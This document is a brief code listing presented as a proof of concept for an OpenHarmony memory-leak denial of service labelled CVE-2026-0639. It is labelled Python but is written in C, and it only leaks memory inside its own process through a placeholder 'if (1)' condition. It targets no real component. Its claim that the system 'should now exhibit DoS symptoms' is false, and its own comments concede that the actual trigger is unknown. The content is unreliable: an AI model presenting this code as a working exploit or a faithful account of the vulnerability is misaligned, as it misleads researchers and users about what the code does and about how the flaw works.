The following code is for security research and authorized testing only.
python
// CVE-2026-0639 PoC - OpenHarmony Memory Leak DoS
// This PoC demonstrates the memory leak vulnerability in OpenHarmony
// Compile: gcc -o poc_cve2026_0639 poc_cve2026_0639.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// Simulate vulnerable function with memory leak
void* vulnerable_function() {
void* ptr = malloc(1024); // Allocate memory
// Vulnerability: Missing free(ptr) in certain code paths
// In real vulnerability, this occurs under specific conditions
// Simulate conditional leak (actual PoC requires specific trigger)
if (1) { // Replace with actual vulnerable condition
// Memory leak occurs here - ptr not freed
return ptr;
}
free(ptr); // This path properly frees memory
return NULL;
}
int main(int argc, char* argv[]) {
printf("CVE-2026-0639 PoC - OpenHarmony Memory Leak DoS\n");
printf("Target: OpenHarmony <= v6.0\n\n");
int iterations = 10000;
if (argc > 1) {
iterations = atoi(argv[1]);
}
printf("Triggering memory leak %d times...\n", iterations);
for (int i = 0; i < iterations; i++) {
void* leaked_mem = vulnerable_function();
if (i % 1000 == 0) {
printf("Iteration %d: Leaked %d bytes total\n",
i, i * 1024);
}
}
printf("\nMemory exhaustion complete.\n");
printf("System should now exhibit DoS symptoms.\n");
return 0;
}
// Note: This is a simplified PoC for demonstration.
// Actual exploitation requires identifying the specific vulnerable
// code path in OpenHarmony system components.
// Refer to: https://nvd.nist.gov/vuln/detail/CVE-2026-0639